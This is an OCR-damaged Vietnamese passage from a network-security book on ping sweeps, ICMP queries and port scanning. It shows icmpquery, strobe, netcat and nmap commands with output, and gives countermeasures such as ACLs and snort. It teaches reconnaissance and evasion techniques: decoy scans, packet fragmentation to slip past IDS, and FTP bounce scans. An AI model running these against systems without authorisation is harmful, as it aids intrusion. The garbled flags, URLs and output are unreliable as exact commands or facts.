Trong mot sO trwong hop, céc thiét bi kiém soat truy nhip don gian khong thé
giai quyét duoc cac goi tin bi chia mot cach chinh xac do do cho phep cac go1
tin cla ta c6 thé vuot qua va s& tién hanh xac dinh xem cong c6 hoat dong hay
khong. Cha vy rang co hieu TCP SYN va TCP ACK sé€ duoc gui tro la1 khi
cong mé. Hping co thé dé dang bi hop nhat thanh cac shell script biang cach st
dung lua chon dém géi tin —cN vé1 N la s6 lwong géi gin gt di. Mic dau
phuong phap nay khong nhanh bang cac tha thuit quét ICMP ping nhu d3 gidi
thiéu trong phan trudc nhung né cling can thiét, xét vé cau hinh ctia hé thong
mang muc tiéu. Chung ta s& tim hiéu chi tiét hon vé hping trong Chuong 11.
Céng cu cudi cung ma ching ta s& tim hiéu la icmpenum, ctia Simple
Normad (trén http://www.nmrc.org/files/sunix/icmpenum-1.1.1.tgz). Tién ich
nay la mot cng cu dém ICMP don gidn cho phép ban nhanh chong xéc dinh
cac hé thong dang hoat dong bing cach gl di cac goi tin ICMP ECHO truyén
théng, va nhitng yéu cau ICMP TIMESTAMP REQUEST va ICMP INFO. Do
vay, néu nhu duong vao cac goi tin ICMP ECHO b1 mot router hoac firewall

dé ngo, ta van c6 thé xac dinh dwoc cac hé théng co st dung loai ICMP thay
thé.

[shadow] icmpenum —12 -¢ 192.168.1.0
192.168.1.1 1s up

192.168.1.10 15 up

192.168.1.11 18 up

192.168.1.151s up

192.168.1.20 18 up

192.168.1.103 1s up

Trong vi du trén, ching ta di tién hanh dém toan bd mang Class C
192.168..1.0 st dung moét ICMP TIME STAMP REQUEST. Tuy nhién tinh
ning thuc su ctia icmpenum la x4c dinh cac hé thong cé st dung cac goi tin
duoc bao veé tranh phat hién. Thu thuat nay la co hiéu qua bd1 icmpenum hd




tro tinh nang bao ve gm tin bang lwa chon d6i s6 -s va doi nghe hiéu lénh phan
hoi bang khoa Ghuyen doi —Pp.

Tﬂng két lai, budc thuc hién nay giup chung ta xac dinh chinh xac hé
tht;jng nao dang hoat dong thong qua ICMP hodc thong qua nhimg lan quét
cong chon loc. Trong s0 255 dia chi tiém ning trong Class C, chung ta da xac
dinh 12 mét s6 may cha dang hoat dong va s€ tiép tuc tré thanh muc ti€u tham
do. Do vy, chung ta di giam di dédng ké thiét 1ap muc tiéu, tiét kiém thoi gian
th&r nghiém va thu hep pham vi cac hoat dong chinh.

@ Cac bien phap doi pho Ping Sweep

Mic dau Ping sweep co thé 1a mot diéu gay kho chiu nhung ta cling can phar
thaim do hoat dong nay. Dua trén mo hinh bao mat cua chung ta, ban co the
muon khoa ping sweep. Chiing ta s& tim hiéu cé hai Iwa chon trong phan tiép

theo.

Thimdo Nhu d3 dé cap, anh xa mang thong qua ping sweep la mot
phuong phéap hiéu qua nhim thim do mang trudce khi mot cudce tan cong xay
ra. Do do, tham do hoat dong ping sweep la cong viéc can thiét gitp tim hiéu
thot diém va doi twong tin cdng. Phuong phap thim do phat hién tan cong
ping sweep co ban la nhitng chuong trinh dwa trén mang vi du nhu snort
(http://www .snort/org).

Tu goc d6 may chu, moét vai tién ich UNIX s€ phat hién va ghi lai
nhitng cudc tin cdng. Néu ban bit dau hiéu rd mo hinh cia nhitng géi tin
ICMP ECHO tir mdt mang hoic mot hé théng nhat dinh, diéu d6 cé nghia la
mot ai d6 dang thim do mang trén site ctia ban. Ban can dic biét cht y dén
hoat d6ng nay vi c6 thé s& ¢ mét cude tan cong tong thé

Cac cong cu phat hien ping dua trén may chu Windows cling kho co
duoc. Tuy nhién mot phan mém dung chung/ phin mém mién phi ma ta can
tim hiéu do la Genius. Genius hien da co phien ban 3.1 ta1 dai chi
http://www.indiesoft..com/. Mic dau Genius khong phat hién cac thao tac quét
ICMP ECHO d6i v6i mot hé thong, né lai ¢ thé phat hién quét ping TCP dbi
véi mot cong cu thé. Mot giai phap mang tinh thuwong mai cho quét TCP d6 la
BlackICE cua Network ICE (www.networkice.com). San pham nay khong chi
don gian la mot céng cu phat hién quét cong, ping TCP ma né con duoc st
dung ddc trung duy nhat cho muc dich nay. Bang 2-1 la danh sach nhiing cong
cu phat hién ping bn:::n xung giup ban ting cuong tinh nang tharn do.

Ngan chan Maic dau hoat dang thim do ping sweep la toi quan trong, wec
ngin chin cling s& 1a mét liéu thudc hitu hiéu. Chung tdi khuyén ban nén cén
than danh gi4 loai ludng théng tin ICMP 1a ban cho phép vao mang ctia minh
hoic cic hé thong dic trung. Co rét nhiéu loa1 thong tin ICMP ma ECHO va
ECHO_REPLY chi la 2 loa1 trong s6 d6. Hau hét cac site khong do1 hoi tat ca
cac loa1 thong tin ICMP to1 tat ca cac he thong két ni Internet truc t1ep Mac
dau hau hét cac firewall cé thé loc cac go1 tin ICMP, cac nhu cau to chuc cé




thé chi ra rang firewall da dé lot mot sb thong tin ICMP. Néu xuat hién mot
nhu cau thuc su, thi khi d6 ta can phai xem xét k§ ludng sé& dé lot qua nhiing
loai thong tin ICMP nao. Mot phuong phap theo thiéu s6 d6 1a chi duy nhat
cho pheép cac gor tin ICMP ECHO REPLY, HOST UNREACHABLE, va
TIME EXCEEDED nhap vao trong mang DMZ. Ngoai ra, néu nhu thong tin
ICMP c6é thé bi han che bing ACL téi cac dia chi IP dic trung, ban cé the
thuan loi hon nhiéu. Piéu nay sé& gitp ISP cla ban kiém tra tinh ning két ndi
dnng thot cling gay can tro thuc hién thao tac quét ICMP chong lai cac hé
thmng két noi truc tlep Internet.

Chuwong trinh Tai nguyén

Scanlogd http://www.openwall.com/scanlogd

Courtney 1.3
http://packetstorm.security.com/UNIX/audit/courtney-1.3.tar.z

Ippl 1.4.10 http://plplp.net/ippl

Protolog 1.0.8
http://packetstorm.security.com/UNIX/loggers/protolog-
1.0.8.tar.gz

Bang 2-1: Mot s6 cong cu Phat hién Ping dua trén may chi UNIX

ICMP la mot giao thirc dac biet hitu dung giup phat hién nhiing su ¢O mang,
do @6 né ciing dé dang bi lam dung. Viéc cho phép khong han ché nhiing
thong tin ICMP vao cong bién cua ban co thé giup keé tan cong tién hanh mot
cudc tan cong khuoc tu dich vu. (vi du nhu Smurf). Nghiém trong hon, néu
nhu ke tan cong thuc sw pha hoai duoc mot trong nhiig he thong cla ban,
chung co thé thoat ra khoi hé diéu hanh va 1én lat khai thac dit lieu trong mot
g6i tin ICMP ECHO c¢6 str dung chuong trinh nhu 1a loki. Pé c¢6 thém thong
tin chi tiét vé loki, kiém tra Phrack Magazine, Tap 7, S6 51 ra ngay 1/9/1997,
bai s6 06 (http://www.phrack.org/show.php?p=51&a=6)

Mot khai niém dang chu y nita, dwoc Tom Ptacek phat trien va duoc
Mike Schiffman ap dung cho Linux, la pingd. Pingd la moét userland daemon
quan li mo1 thong tin ICMP ECHO va ICMP ECHO REPLY ¢ G::ip do may
cht. San pham tuyét diéu nay duwoc hoan thién bang viéc loai bd su hD tro s li
ICMP ECHO tir nhin va chay mot userland daemon bing mot 6 Cam ICMP
thé nhim quan li nhitmg gdi tin nay. Ngoai ra tien ich nay con cung c:ap mot co
ché kiém soat truy nhap cho ping & cap d6 hé thong. Pingd duoc thiét ké cho
Linux c¢6 tar dia chi http://packetstorm.security.com/UNIX/misc/pingd-
0.5.1107).
® ICMP Query
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Ping sweep (hay la nhiing go1 tin ICMP ECHO) chi la phan ndi cla ting bing
chim khi ban tim hiéu thong tin vé mot hé thc:mg Ban cé thé thu thap thong
tin co gia tri vé mot hé th{:}ng bat ky bang cach don gian gu1 d1 mot go1 tin
ICMP to1 hé th{:}ng do. Vi du, vor mot cong cu UNIX i1cmpquery
(http://packetstorm security. com/UNIX/scanners/icmpquery.c) hoac icmpush
(http: f’fpacketsmrm security. canNIstcannershcmpush%z tgz) ban c6 thé
yeu cau thoi gian trén he théng (xem mui thoi gian tai vi tri cia hé thong)
bang cach gt di mot thong diép ICMP loai 13. (TIMESTAMP). Va ban ciing
cé thé yéu cau netmask ciia mot thiét bi cu thé bing théng diép ICMP loai 17
(ADDRESS MASK REQUEST). Netmask cua mﬁt thé mang 1a rat quan trong
bdi ban cé thé xac dinh 16 duoc tit cd cac mang cap dudi dang duoc su dung.
Voi k1er1 thirc vé céc mang cap dudi, ban cé thé dinh hudng tin cong vao mot
mang cip dudi duy nhét va tranh lam anh huong dén cac dia chi thong bao.
Icmpquery co ca timestamp va lwa chon yéu cau an dia chi:

Icmpquery <-query=> [-B] [-ffromhost] [ -d delay] [-T tume] targets where <query> 1s one of :
-t : icmp timestamp request (default)
-m . 1icmp address mask request

The delay 1s 1n microseconds to sleep between packets.

Targets 1s a list of hostnames or addresses

-T specifies the number of seconds to wait for a host to respond. The default 1s 5.

-B specifies ‘broadcast’ mode. Icmpquery will wait for timeout seconds and print all responses.

If you're on a modem, you may wish to use a larger —d and —T

Pé st dung 1icmpquery tim hiéu thoi glan cua mot cau dan, ban cé thé thuc
hién dong 1énh sau:

[tsunami] icmpquery -t 192.168.1.1

192.168.1.1 : 11:36:19

Peé st dung icmpquery tim hiéu netmask cia mot cau dan, ban co thé thuc

hién dong 1énh sau:
[tsunami] icmpquery -m 192.168.1.1
192.168.1.1 . OXFFFFFFEO

Chu y: Khéng phai tat ca cac cau dan/ hé thong déu cho phép dap ing
ICMP TIMESTAMP hoac NETMASK, vi vay quang duong ma ban di
dwoc bang icmpquery va icmpush co thé thay déi 16m tuy theo may chu.

@ Cac bién phap d6i phé ICMP Query



Mot trong nhitng phuwong phap ngan chan hiéu qua nhat d6 la khoa ICMP nao
cho phep lot ra thong tin ¢ cac cau dan ngoai. T6i thiéu ban cfing phai han ché
cac yeu cau go1 tin TIMESTAMP (ICMP loa1 13) va ADDRESS MASK
(ICMP loa1 17) khéng vao hé thé-ng cua ban. Néu nhu ban trién khai cac cau
dan Cisco tai cac duodng vién, ban cé thé han ché chung dap tmg lai nhiing géi
tin yéu cau ICMP bing cic ACL sau:

Access-list 101 deny icmp any any 13 ! timestamp request

Access-list 101 deny icmp any any 17 ! address mask request

Ta c6 thé thim do hoat dong nay bang mot hé thong thim do d6t nhap mang
(NIDS) nhu 1a snort (www .snort.org). Sau diy 1a mot phan ctia hoat dong nay
ma snort dang thuc hién:

[ **] PING —ICMP Timestamp [**]

05/29-12:04:40.535502 192.168.1.10->192.168.1.1

CMP TTL: 255 TOS; 0x0 11D 4321

TIMESTAMP REQUEST

XAC PINH CAC DICH VU DPANG CHAY HOAC PANG NGHE
Nhu ching ta vira xdc dinh dwoc cac hé thong dang hoat dong bing cach st
dung ICMP hoac TCP ping sweep, va cling da thu duoc thf:mng tin ICMP chon
loc. Bay gio ta co thé bat dau tién hanh quet c{}ng trén moi1 hé thﬂng
® Port Scanning (Quet cung)
Tinh pho thong 10
Tinh don gian
9
Tinh hiéu qua
9
Mhirc do ruii vo
9

Port scanning la mot qua trinh két nbi cac cang TCP va UDP trén mot hé
tthg muc tiéu nhim xéac dinh }{em dich vu nao dang chay hoac dang trong
trang tha1 NGHE. Xac dinh cac chg nghe la mot cong viec hét strc quan trong
nhim x4c dinh duoc loai hinh hé thong va nhiing tmg dung dang dugc su
dung. Cac dich vu hoat dong dang nghe co thé cho phép mét déi tuong st
dung tuy truy nhap vao hé thc}ng dinh cau hinh sa1 hodc chay trén moét phién
ban phan mém co nhiing diém yéu bao mat. Cac cdng cu va k§ thuat quét cong
da phat trién nhanh chong trong nhiing ndm vira qua. Chung ta s€ tap trung
tim hiéu mét s6 cong cu pho thong qua dé ta sé ¢ duoc diy di thong tin nhat.
Cac k§ thuat quet cong sau day khac biet so vo1 nhiing k§ thuat truoc do vi
chung ta chi can xac dinh nhitng hé th{:rng nao dang hoat dong ma thoi1. Theo
nhitng budc sau diy ching ta gia s ring cac hé théng dang hoat dong va




chiing ta dang c6 ging xac dinh cac cong nghe va nhitng diém truy nhép cé
thé trén muc tiéu.

Chung ta mubdn dat duwoc mdt sd muc tiéu khi thuc tién hanh quet hé
théng muc tiéu. Bao gdm nhiing budc sau day nhung khéng chi han ché theo
dtng khuén mau nay:

V¥ Xac dinh cac dich vu TCP va UNP dang chay trén hé thong muc tiéu

m Xac dinh loai hé diéu hanh cta hé théng muc tiéu

A Xic dinh nhitg tng dung cu thé hoic cac phién ban ctia médt dich vu nhét
dinh

CAC HINH THUC QUET

Trude khi ching ta di sdu tim hiéu nhitng cdng cu quét cong can thiét, chung
ta phai tim hiéu cac thu thuat quet céng hién c6. Mot trong nhiing nhan vat di
dau trong viéc quét cong la Fyodor. Ong da duc két rat nhiéu thu thuat quet
cong trong céng cu nmap. Rat nhiéu trong cac hinh thirc quét cong ma chung
ta s€ thao luan la cong strc cua Fyodor.

VTCP connect scan: Hinh thitc quét nay két n6i vdi cong muc tiéu va hoan
thanh médt quan hé ba chiéu (SYN, SYN/ACK, va ACK). Hé thong muc tiéu
c6 thé dé dang phat hién moi quan hé nay. Hinh 2-2 gii thiéu mdt mé hinh
moi quan hé 3 chiéu TCP.

TCI”'s three-way handshake

1) SYN sent from client

2) SYN /ACK sent from server

3) ACK sent from client

Hinh 2-2. (1) Giri di mot goi tin SYN, 92) nhan mot goi tin
SYN/ACK, va (3) gtti di modt géi tin ACK.

m TCP SYN scan Thu thuat 11::1}' co tén Quet nira mo (half—c:-pen scanning ) boi
no khong thlet lap mot két néi TCP kin. Thay vao do, mot goi tin SYN duoc
gir1 to1 mot cc:ng muc tiéu. Néu nhan duoc mot SYN/ACK tur mot cmng muc
tiéu thi ching ta cé thé suy ra ring né dang & trang thai NGHE. Neéu nhin
duoc mot RST/ACK, diéu d6 chimg td ring mot cong dang khong & trang thai
nghe. Mot RST/ACK sé& duoc gut d1 bo1 mot hé thong thuc hién quét céng Vi
vay khong thé thiét lap dugc mot ket noi kin. Thu thuit nay c6 loi thé la kin
d40 hon so v6i mot két ndi TCP day da va hé thong muc tiéu khong thé ghi
chep duoc.

m TCP FIN scan Thu thuit nay g di mot goi tin FIN téi cong muc tiéu.
Dua trén RFC 793 (http://www.ietf org/rfc/rfc0793 txt), hé thong muc tiéu sé




otri ché lai mot RST téi tat ca cac cong dd dong. Tha thuit nay chi cé tac dung
trén cac ngin xép TCP/IP dua trén UNIX

m TCP Xmas Tree scan Thua thuat nay gu1 mot gor tin FIN, URG va PUSH
tol cmng muc ti1éu. Du'a tren RFC 793, hé thﬂng muc tiéu s€ gu1 cho lar mot
RST tdi tat ca cac cong di dong.

m TCP Null scan Thu thuit nay sé& tat tat ca cac cd hiéu. Dua trén RFC 793,
hé thong muc tiéu s& giri chd lai mot RST téi tat ca cac cong di déng.

m TCP ACK scan Thu thuat nay duoc su dung dé ghi ta cic bd quy tic
firewall. N6 c6 thé hd tro xéac dinh neu nhu firewall la mot thiet b1 loc go1 tin
don gian chi cho phep nhitng két ndi duoc thiét lap (cac két noi bang bo ACK
bit) hodc mot firewall kien co co tinh nang wu viet loc cac goi tin.

m TCP Windows scan ~ Thu thuat nay co thé phat hién nhiing cong ma,
duoc loc/chua duoc loc trén mot s6 hé thﬂng (vi du AIX va FreeBSD) do su
khac thuong trong cach xac dinh kich ¢& TCP Windows

m TCP RPC scan Thu thuat nay dac trung cho cac he thé-ng UNIX va duoc
str dung dé phat hién va xac dinh cac cong Remote Procedure Call (RPC) va
s6 phién ban va chuong trinh lién quan.

A UDP scan Thu thuit nay g di mét goi tin UDP té1 cong muc tiéu.
Néu nhu cong muc tiéu dap img bang mot thong tin “ICMP port unreachable”,
thi ¢6 nghia la cong d3 déng. Nguoc lai, néu ta khong nhan duoc thong tin
“ICMP port unreachable”, ta cé thé suy ra la cﬁ:-ng dang ¢ trang thai mo. Vi
UDP duoc hiéu la mot glan thirc khong ket no1, tinh chinh xac cua thu thuat
nay phu thudc rat nhiéu vao nhiéu nhan t6 lién quan dén su st dung mang va
cac tal nguyen he théng. Ngoai ra, quet UDP la mot qua trinh dién ra cham
néu nhu ban muc:n quét mot thiét bi c6 sk dung tinh nang loc go1 tin qua nang.
Néu ban mubdn quét UDP trén Internet, chuan bi d6i pho véi nhitng két qua cé
thé khong déng tin ciy.

Mbt sb lan thuc hién nhat dinh cé nhitmg dic diém han ché dé la viéc gii ché
lai nhitng RST téi tat ca cac cong duoc quét cho du nhitng cong d6 co dang &
trang thai nghe hay khéng. Do vay, két qua thu duoc cé thé thay ddi khi thuc
hién quét; tuy nhién SYN va connect scan sé& khdng cé tac dung d6i véi tat ca
cac may chu.

Xac dinh cac dich vu TCP va UDP dang chay

Tién ich cua mot cong cu quet cmng t6t 1a mot thanh t6 quan trong ctia qua
trinh thim do. Mic diu ¢ rat nhiéu cong cu quet cnng cho mo1 truong UNIX
va NT, ching ta chi c¢6 thé giéi han tim hiéu mot s6 thiét bi quét cong phd
thong va c¢6 hiéu qua nhat.



Strobe

Strobe la mot tién ich quét céng TCP yéu do Julian Assange viét
(ftp://ttp.FreeBSD.org/pub/FreeBSD/ports/distiles/strobe-1.06.tgz). Day la
mot cong cu sur dung trong mot khoang thoi gian va la mot trong nhitng cong
cu quet cong TCP nhanh va hiéu qua nhat. Mot s6 dic diém chinh cia strobe
gc:m co tinh niang t61 wu hé thc:-ng va cac tai1 nguyen mang va quet he thﬂng
muc tiéu theo mot cung cach hiéu qua. Ngoai tmh nang httru hiéu, phlen ban
strobe 1.04 va cac phlen ban sau nay sé thuce su nam gitt duoc cac biéu tlmng
lién quan cua mdi cong ma chung két ndi téi. Tinh ning nay giup xac dinh ca
hé diéu hanh va cac dich vu dang chay. Banner grabbing sé duoc tim hiéu k§
hon trong Chuong 3.

Két qua strobe liét ké mdi cong nghe TCP:

[tsunami] strobe 192.168.1.10
strobe 1.03 1995 Julian Assange (proffi@suburbia.net).

192.168.1.10 echo 7/tcp Echo [95, JBP]
192.168.1.10  discard 9/tcp Discard [94, JBP]
192.168.1.10 swupc 111/tep rpcbind SUN RPC

192.168.1.10  daytime 13/tcp Daytime [93, JBP]
192.168.1.10 chargen 19/tcp ttytst source

192.168.1.10 fip 21/tcp File Transfer [Control] {96,JBP}
192.168.1.10 exec 512/tcp remote login a telnet
192.168.1.10 login 513/tcp shell like exec, but automatic
192.168.1.10 cmd 514/tcp Secure Shell

192.168.1.10  ssh 22/tcp Telnet{ 112.JBP}

192.168.1.10 telnet 23/tcp Simple Mail Transfer {102, JBP}
192.168.1.10 smtp 25/tcp networked file system
192.168.1.10 nfs 2049/tcp top

192.168.1.10 lockd 4049/tcp unassigned

192.168.1.10 unknown 32772/tcp unassigned

192.168.1.10 unknown 32773/tcp unassigned

192.168.1.10 unknown 32778/tcp unassigned

192.168.1.10 unknown 32799/tcp unassigned

192.168.1.10 unknown 32804 /tcp unassigned

Mic dau strobe rat dang tin cidy nhung ban cling can phai chia v dén mdt so
diém han ché cta san pham nay. Stobe chi 1a mot thiét bi quét TCP thuan tay
do vay khong co tinh nang quet UDP. Do vay, chi volr quét TCP thoi thi chung
ta chi co1 nhu mo1 xem duoc mot nira cua bire tranh. Ngoai ra, strobe chi su
dung cong nghé quét két néi TCP khi thuc hién két nbi téi mdi cong. Mic dau
tinh ndng van hanh nay lam tang tinh tin cay cua san pham nhung no cling lam
cho thao tac quét cong dé dang b1 phat hién hon bo1 heé thong muc tiéu. Dbi
v6i nhitng thu thuat quét bd xung nim ngoai tinh niing cda strobe thi ching ta
phai tim hiéu k¥ ludng hon bd cbng cu

udp scan
Do strobe chi ¢o tinh ning quet TCP, chung ta co thé sur dung udp_scan cua
SATAN (Cong cu cua Quan tr1 vien bao mat dé phan tich mang) do Dan



Farmer va Wietse Venema viét vao nim 1995. Mic dau SATAN cé hoi 1561
thoi nhung nhitng cong cu van hoat dong rat tét. Ngoai ra, nhitng phién ban
m&i nhat cda SATAN. hién ¢ tén SAINT, vira mdi duoc tung ta tai dia chi
http://wwdsilx. wwdsi.com. Rat nhiéu tién ich khac cé tinh ning quét UDP.
Tuy nhién, ching ta nhin thay rang udp scan la mét trong nhiing cong cu quét
UDP c6 uy tin nhat. Ching ta cing can thira nhan ring mic dau udp scan la
mot cong cu dang tin cay nhung no cling co nhitng tac dung phu c6 hai do la
kho1 dong mot thong diep quet SATAN tur mot san pham IDS quan trong. Do
vay no van chua phai la mot san pham hoan hao cho ban. Thong thuong chung
ta s& tim kiém nhiting loai cang nol tleng duol 1024 va nhltng cong ru1 ro cao
tren 1024.

[stsunami] udp scan 192.168.1.1.1-1024
42: UNKNOWN

53: UNKNOWN

123: UNKNOWN

135: UNKNOWN

netcat

Mot tien ich tuyét vor khac do la netcat hoidc nc do Hobbit viét
(hobbit@avian.org). San pham nay c¢6 nhiéu tinh ning dén ndi ching ta goi no
la con dao Thuy sy trong bo cong cu bao mat. Trong khi chung ta s€ tim hiéu
k¥ mdt s tinh ning uu viet cua san pham nay trong toan bo no1 dung cubn
sach thi nc lai cung cap nhitng tinh nang quet cong TCP va UDP. Lua chon
d61 s6i —v va —vv sé& thu duoc nhitng két qua dal dong. Lua chon —z tao ra che
do zero I/O va duoc su dung cho viec quet cnng? va lua chon —w2 tao ra mc:-t
gi1a tr1 thol glan chét cho mdi lan két nbi. Theo mac dinh nc sé su dung chg
TCP, do vay ta phai xac dinh lua chon —u dé quet Gﬂﬂg UDP (nhu trong vi du
thtr ha1 sau day).

tsunami] ne -v -z -w2 192.168.1.1 1 -140

192.168.1.1] 139 (?) open
192.168.1.1] 135 (?) open
192.168.1.1] 110 (pop -3) open
192.168.1.1] 106 (?) open
192.168.1.1] 81 (?) open
192.168.1.1] 80 (http) open
192.168.1.1] 79 (finger) open
192.168.1.1] 53 (domain) open
192.168.1.1] 42(?) open
192.168.1.1] 25 (smtp) open
192.168.1.1] 21 (ftp) open

tsunami| nc -u -v -z -w2 192.168.1.11 -140
192.168.1.1] 135 (ntportmap) open
192.168.1.1] 123 (ntp) open




[192.168.1.1] 53 (domain) open
[192.168.1.1] 42 (name) open

Network mapper (nmap)

Chung ta vira méi tim hiéu mot s6 cdng cu quét cﬂng chinh bay gio chung ta
s& chuyén sang tim hiéu tiép cac céng cu quét cong cao cip hién co do la
nmap. Nmap (http://www.insecure.org/nmap) cua Fyodor cung cap tinh ning
quet TCP va UDP nhu da de cap dén trong phan gidi thiéu cac thu thuat quet
cong truoc do. Hiém cé san pham nao ma ho1 tu trong né nhiéu tién ich dén
vay. Bay gio chung ta cung xem xét mot s6 dic diém chinh cda sén pham nay.

[tsunami] # nmap -h
nmap V. 2. 53 Usage: nmap [Scan Type(s)] [Options] <host or net list>
Some Commeon Scan Types (“*' options require root privileges)
-sT TCP connect ( ) port scan by default
* -gS TCP SYN stealth port scan (best all-around TCP scan)
* -sU UDP port scan
-sP ping scan (Find any reachable machines)
* -gF, -sX, -sN Stealth FIN, Xmas, or Null scan (experts only)
-sR/-1 RPC/Identd scan (use with other scan types)
Some Common Option (none are required, most can be combined):
* -0 Use TCP/IP fingerprinting to guess remote operating system
* -p <range> ports to scan. Example range: “1-1024, 1080, 6666, 31337’
-F Only scans ports listed in nmap —services
-V Verbose. Its use 1s recommended. Use twice for greater effect.
-p0 Don’'t ping hosts (needed to scan www.microsoft .com and other)
* -Ddecoy hostl,decoy?2[,....] Hide scan using many decoys
-T <Paranoid |Sneaky|PoliceNormal|Aggressive|Insane> General timing policy
-1/-R Never do DNS resolution/ Always resolve |default: sometimes resolve|
-oN/ -oM <logfile> Output normal/machine parsable scan logs to <logfile>
-1L <inputfile> Get targets from file; Use * ° for stdin
* .S <your IP>/-e <devicename> Specify source address or network interface
-- interactive Go into interactive mode (then press h for help)
[tsunami] nmap -sS 192.168.1.1
Starting nmap V. 2. 53 by fyodor@insecure.org
Interesting ports on (192.168.1.11):
( The 1504 ports scanned but not shown below are 1s state: closed)

Port State Protocol Service

21 open tep ftip

25 open tcp smitp

42 open tcp nameserver
53 open tep domain

79 open tep finger

80 open tep http

81 open tep hosts2 -ns
106 open tep pop3pw
110 open tep pop -3

135 open tep loc -srv
139 open tep netbios -scan

443 open tep https



Nmap c¢6 mdt sb tinh ning ma chung ta can tim hiéu k§. Chung ta vira thay ct
phap duoc str dung dé quét mot hé thong. Tuy nhién nmap gitp chung ta dé
dang quét toan bd mang. Qua tim hiéu ta c6 thé thay 1a nmap cho phép chung
ta nhip vao nhitng mién trong ky hiéu khéa CIDR (Class Inter-Domain
Routing) (xem RFC 1519 — http://www.1iftf. org/rfc/rfc1519.txt), m6t dang thirc
tién lo1 cho phép chung ta xac dinh 192.168.1.254 la mién. Cling can chu
ring s dung lwa chon —o dé luu két quéa sang mot file doc 1ap. Lua chon —oN
s& Iuu két qua ¢ dang thuc ma con nguoi co thé doc duoc.

|[tsunami| # nmap -sP 192.168.1.0/24 -oN outtile

Néu ban mubn luu két qua vao trong mot file dinh gio bﬁng tab dé sau do ban
co thé phan tach két qua theo mdét chuwong trinh, ban hay st dung lwa chon —
oM. Vi ching ta cé thé thu duoc nhiéu théng tin sau lan quét nay do vAy ta
nén luu nhitng thong tin thu duoc vao mot trong 2 dang thirc trén. Trong mot
sO trrong hop ban co thé két hop ca luwa chon —oN va —oM dé luu thong tin
vao ca 2 dang thuc.

Gia st sau khi thim do mot hé thong ban phat hién ra ring hé théng d6 dang
stt dung mét thiét bi loc goi tin don gidn nhw 1a mot firewall. Khi d6 ta cé thé
stt dung lwa chon —f dé chia tach goéi tin. Lua chon nay s& phan tach nhiing
phan dau TCP d6i Vo1 mot s6 goi tin ma cac thiét bi kiém soét truy nhap hodc
cac he thmng IDS rat khé phat hién thao tic quét. Trong hau hét moi truong
hop, cac thiét bi loc géi tin hién dai va cac firewall dua trén ung dung s€ sap
Xep cac phan phén tach trude khi danh gia chung. Rat c6 thé 1a nhiing thiét bi
kiém soat truy nhap hoac nhiing thiét bi yéu cau phai hoat dong het tinh nang
s€ khong thé chap lién nhiing go1 tin treoc khi tién hanh thao tac tlep theo.

Phu thudc vao muc do phuc tap cua may chu va mang muc tieu, nhitng
lan quet do do co thé dé dang b1 phat hién. Nmap co tinh nang nhtr mo1 phu
duoc nhim chon vui site muc tiéu bang thong tin tran ngap thong qua viec su
dung lwa chon -D. Tlen dé chinh cta su lua chon nay do la thuc hién quet nhu
mo1 cung thoi diém tién hanh quet thuc. Ta co thé thuc hién thao tac nay bing
cach kiém trimg dia chi ngan cua mot may chu hop thure va sao chon gitta
quet gia va quet thuc. Tiép d6 hé thong muc tiéu sé dap tmg lai nhitng dia chi
da duoc k1em trimg cling nhu lan quét thuc. Ngoai ra site muc tiéu cé nhiém
vu niang né do la truy ra mo1 lan quet xem dau la quét hop thue va dau la queét
gid. Ta cling cin phai cha ¥ ring cac dia chi gia phai ¢ trang thai hoat dong,
hoic nhing thao tac quét cia ban c6 chén vui hé thdng muc tiéu va giy ra tinh
trang tu chbi dich vu.

[tsunami| nmap -sS 192.168.1.1 -D 10.1.1.1
www.target web.com, ME -p25, 139,443




Starting nmap V.2.53 by fyodor@insecure.org
Interesting ports on (192.168.1.1):

Port State Protocol Service
29 open tcp smtp
443 open tcp https

Nmap run completed -- 1 IP address (1 host up ) scanned in 1 second
Trong vi du trwoc day, nmap cung cap nhiing tinh ning quet gia nhim danh
Ira g1tta nhitng thao tac quet cong hop thuc va quet cong gia.

Mot dac tinh quet rat hitu hiéu ntta d6 la thuc hién ident scanning. Ident
(xem RFC 1413 —http://www.1etf.org/rfc/rfc1413.txt) duoc s dung xac dinh
d6i tuong su dung cua mot két n6i TCP cu thé bang cach lién lac véi cong
113. Rét nhleu phien ban ident s€ thuc s dap ung dwoc nguo1r chu cua mot
qua trinh von chi dic trung cho mot r;:-:jng nhat dinh. Tuy nhién, diéu nay qua

la hieu qua chung la1 muc tiéu UNIX.
[tsunami| nmap -I 192.168.1.10
Starting nmap V.2.53 by fyvodor@insecure.org

Port State Protocol Service Owner
22 open tep ssh root
25 open tcp smtp root
80 open tep http root
110 open tcp pop-3 root
113 open tep auth root
6000 open tcp X11 root

Chu y ring trong vi du trén ta thue sw co thé xac dinh dugc nguoi chu
ctia moi qua trinh. Néu doc g1a tinh v co thé nhin tha‘y' rang may chu web dang
chay vo1 tu cach la “root” chu khéng phai la mot d6i twong su dung khong co
dic quyén “nobody”. Day la mdt thao tic bao mét vd cung long léo. Do vay
bang cach thuc hién quét ident scan ta cé thé biét duoc ring néu nhu dich vu
HTTP b1 pha bang cach cho phép mét doi tuong st dung khong hop thiure chay
lénh thi ké tan cong sé& ngay lap turc co thé truy nhap gbc.

Thu thuat quet cudi cung ma chung ta sé€ tim hiéu d6 la FTP bounce
scanning (quét nay). Hobbit di bién hinh thirc tAn céng FTP bounce thanh mot
hien tuwong dang chu y. Trong tai lidu gu tor Bugtrag vao nam 1995
(http://www securityfocus.com/templates/archive. pike?list=1&199507120620.
CAA18176(@narqg.avian.org), Hobbit dd néu ra mét s6 18 hong cb hitu trong
giao thirc FTP (RFC 959 —http://www.ietf org/rfc/rfc0959.txt). Vé ban chét thi
hinh thirc FTP bounce attack 1a mdt phuwong phap chuyén cac két ndi thong
qua m6t may chi FTP bing cach lam dung su hd cho cho nhitng két ndi FTP
iy quyén. Nhu Hobbit d3 néu ra trong ban théng béo ctia minh FTP bounce
attack “cé thé st dung dé giri nhitng thu va tin thitc a0 khong thé bi phat hién,
tan cdng vao nhiéu ving cia may chd, lam day dia, vuot qua firewall, noi
chung la nd gay khé chiu va rat khoé bi phat hién.” Ngoai ra ban cé thé day



nhitng thao tac quét ra khoi may cha FTP dé an di thong tin vé ban, hodc thAim
tri ¢ thé bd qua céac co ché kiém soat truy nhép.

Théng thuomg nmap sé& hd tro hinh thirc quét nay bing lua chon —b; tuy
nhién cin c6 mdt s6 diéu kién cu thé. Trudc hét may chi FTP phai cé mét thu
muc c¢6 thé doc va ghi vi du nhu /incoming. Thtr hai 1a may chti FTP phai cho
phép nmap nhap thong tin cong gia biang 1énh PORT. Mic dau tha thuat nay
